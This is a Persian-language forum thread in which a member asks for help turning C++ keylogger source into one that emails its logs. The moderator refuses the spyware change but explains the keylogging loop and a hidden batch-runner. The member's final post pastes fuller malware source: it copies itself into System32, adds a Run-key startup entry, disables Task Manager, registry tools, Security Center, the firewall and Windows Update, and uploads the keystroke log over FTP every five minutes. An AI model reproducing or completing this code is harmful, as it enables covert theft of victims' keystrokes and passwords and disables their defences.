درخواست:توضیح+تغییر سورس

mhabat

Member
سلام.با تشکر از the_kingعزیز.
عید همه گی مبارکــــــــ
یک سورس هست که توش رویداد هایی که اتفاق میوفته رو تو یک فایل ذخیره می کنه.
حالا می خوام بجای اینکه در یک فایل ذخیره بکنه اون رو برام ایمیل کنه.
اگر میشه یکمی هم توضیح درمورد دستوراتش بدین البته خیلی سخت نیست.
سورس:
کد:
int main()
{
std::string Filename = "C:\\log.txt";
std::string TempString = "";
std::fstream FStream;
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
while(true)
{
Sleep(5);
for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
خیلی ممنون
 

the_king

مدیرکل انجمن
سلام.با تشکر از the_kingعزیز.
عید همه گی مبارکــــــــ
یک سورس هست که توش رویداد هایی که اتفاق میوفته رو تو یک فایل ذخیره می کنه.
حالا می خوام بجای اینکه در یک فایل ذخیره بکنه اون رو برام ایمیل کنه.
این میشه یک Spyware که طبق قانون عمومی شماره D5 مجید آنلاین بهش نمی پردازیم.

اگر میشه یکمی هم توضیح درمورد دستوراتش بدین البته خیلی سخت نیست.

کد:
std::string Filename = "C:\\log.txt";
مسیر فایل خروجی در متغیر Filename قرار می گیرد.

کد:
std::string TempString = "";
رشته TempString برای نوشتن مقادیر رشته ای در فایل بکار خواهد رفت.

کد:
std::fstream FStream;
یک متغیر فایل با نام FStream که در ادامه ایجاد خواهد شد.

کد:
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
فایل را برای نوشتن (out) در انتهای داده های قبلی (app) باز می کنیم. یعنی بدون آنکه محتویات قبلی فایل
پاک شوند، داده های جدیدی بهش اضافه خواهیم کرد.
متغیر Filename بصورت string تعریف شده، نه []char . به همین جهت با ()c_str اشاره گر رشته اش را
دریافت می کنیم.

کد:
while(true)
{
یک حلقه تکرار بی پایان.

کد:
Sleep(5);
روال اجرای برنامه به مدت 5 میلی ثانیه مکث می کند.

کد:
for(int i = 8; i < 191; i++)
{
هر کلیدی در صفحه کلید و سایر ابزار های ورودی یک کد منحصر بفرد دارد، از کد 8 الی 190 را در حلقه
بررسی خواهیم کرد.

کد:
if(GetAsyncKeyState(i)&1 ==1)
{
اگر کلیدی بعد از بررسی قبلی GetAsyncKeyState فشرده شده باشد، بیت اول مقداری که GetAsyncKeyState
برای آن کلید بر می گرداند 1 خواهد شد...

کد:
TempString = GetKey (i);
کاراکتری که متناسب با کلید فشرده شده است را در TempString قرار می دهیم.

کد:
FStream.write(TempString.c_str(), TempString.size());
رشته TempString را در انتهای فایل ذخیره می کنیم.

کد:
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
مرض داریم، فایل را می بندیم و مجددا باز می کنیم.
 

mhabat

Member
صدرصد متشکرم از پاسختون خیلی عالی توضیح میدین.
اگر میشه این قسمت رو هم توضیح بدین:
کد:
char BatchFile[20] = "system.bat";
char* params;
DWORD WINAPI OpenBatFile(LPVOID)
{
      for(;;) {
Sleep(300000);
ShellExecute(NULL, "open", BatchFile, NULL, NULL, SW_HIDE);}
}
 

the_king

مدیرکل انجمن
صدرصد متشکرم از پاسختون خیلی عالی توضیح میدین.
اگر میشه این قسمت رو هم توضیح بدین:
کد:
char BatchFile[20] = "system.bat";
char* params;
DWORD WINAPI OpenBatFile(LPVOID)
{
      for(;;) {
Sleep(300000);
ShellExecute(NULL, "open", BatchFile, NULL, NULL, SW_HIDE);}
}

یک فایل system.bat رو داخل حلقه بعد از مکث های 300 ثانیه ای اجرا می کنه، یعنی هر 300 ثانیه یکبار.
فایل رو در حالت SW_HIDE اجرا می کنه و پنجره command prompt نشون داده نمیشه، اجرای مخفی.
 

mhabat

Member
سلام.
اون فایلsystem.batساخته میشه یا وجود داره؟ کار این فایل چی هست؟

اگر میشه این سورس رو فقط قسمت های مهمشو توضیح بدین: میدونم زیاده ببخشید.

کد:
int main()
{
    int WINAPI WinMain (HINSTANCE hThisInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpszArgument,
    int nFunsterStil);
    
  char path[MAX_PATH];
  HMODULE GetModH = GetModuleHandle(NULL);
    
  char sys[MAX_PATH];
  GetModuleFileName(GetModH, path, sizeof(path));
  GetSystemDirectory(sys, sizeof(sys));
  strcat(sys, "[URL="file://\\borg.exe"]\\borg.exe[/URL]");
  CopyFile(path, sys, false);
    
  HKEY hKey, hKey2;
  
  unsigned char reg[2] = "0";
  
  RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
  RegSetValueEx(hKey, "MS-Windows-secretly", 0, REG_SZ,(const unsigned char*)sys, sizeof(sys));
  RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hKey2);
  RegSetValueEx(hKey2,"DisableTaskMgr",0,REG_DWORD,reg,sizeof(reg));
  RegCloseKey(hKey),(hKey2);
  DeleteFile("C:\\WINDOWS\\system32\\log.txt");  
    
  ofstream FWUP;
  FWUP.open("C:\\WINDOWS\\system32\\update.bat");
  FWUP<<"@echo off\n";
  FWUP<<"net stop ""Security Center""\n";
  FWUP<<"net stop SharedAccess\n";
  FWUP<<"> ""%Temp%.\\kill.reg"" ECHO REGEDIT4\n";
  FWUP<<">>""%Temp%.\\kill.reg"" ECHO.\n";
  FWUP<<">>""%Temp%.\\kill.reg"" ECHO [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess]\n";
  FWUP<<">>""%Temp%.\\kill.reg"" ECHO ""Start""=dword:00000004\n";
  FWUP<<">>""%Temp%.\\kill.reg"" ECHO.\n";
  FWUP<<">>""%Temp%.\\kill.reg"" ECHO [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\wuauserv]\n";
  FWUP<<">>""%Temp%.\\kill.reg"" ECHO ""Start""=dword:00000004\n";
  FWUP<<">>""%Temp%.\\kill.reg"" ECHO.\n";
  FWUP<<">>""%Temp%.\\kill.reg"" ECHO [HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\wscsvc]\n";
  FWUP<<">>""%Temp%.\\kill.reg"" ECHO ""Start""=dword:00000004\n";
  FWUP<<">>""%Temp%.\\kill.reg"" ECHO.\n";
  FWUP<<"START /WAIT REGEDIT /S ""%Temp%.\\kill.reg""\n";
  FWUP<<"DEL ""%Temp%.\\kill.reg""\n";
  FWUP<<"DEL %0\n";
  FWUP.close();  
    
  ofstream disable;
  disable.open("C:\\WINDOWS\\system32\\syssvr.bat");
  disable<<"@echo off\n";
  disable<<"reg add ""HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Syste?m"" /v ""disableregistrytools"" /t REG_DWORD /d ""1"" /f >NUL\n";
  disable.close();  
  
  //write ur ftp-information's here
  ofstream log;
  log.open("C:\\WINDOWS\\system32\\drivers\\config.sys");
  log<<"OPEN ftpserver\n";
  log<<"USER username\n";
  log<<"ftppassword\n";
  log<<"ASCII\n";
  log<<"SEND C:\\WINDOWS\\system32\\log.txt\n";
  log<<"BYE\n";
  log<<"exit\n";
  log.close();
  
  ofstream Ausgabe;
  Ausgabe.open("C:\\WINDOWS\\system32\\system.bat");
  Ausgabe<<"ftp -n -i -s:C:\\WINDOWS\\system32\\drivers\\config.sys\n";
  Ausgabe<<"bye\n";
  Ausgabe<<"exit\n";
  Ausgabe.close();
  
  ShellExecute(NULL, NULL, "C:\\WINDOWS\\system32\\syssvr.bat", params, NULL, SW_HIDE);
  ShellExecute(NULL, NULL, "C:\\WINDOWS\\system32\\update.bat", params, NULL, SW_HIDE);
  
  DWORD OpenBatch;
  
  HANDLE hOpenBatFile = CreateThread(NULL, 0, OpenBatFile, 0, 0, &OpenBatch);
    
    std::string Filename = "C:\\WINDOWS\\system32\\log.txt";
    std::string TempString = "";
    std::fstream FStream;
    FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
    while(true)
    {
        // 0% CPU
        Sleep(5);
        for(int i = 8; i < 191; i++)
        {
           if(GetAsyncKeyState(i)&1 ==1)
           {
                TempString = GetKey (i);
                FStream.write(TempString.c_str(), TempString.size());
                FStream.close();
                FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
           }
        }
    }
}
 

جدیدترین ارسال ها

بالا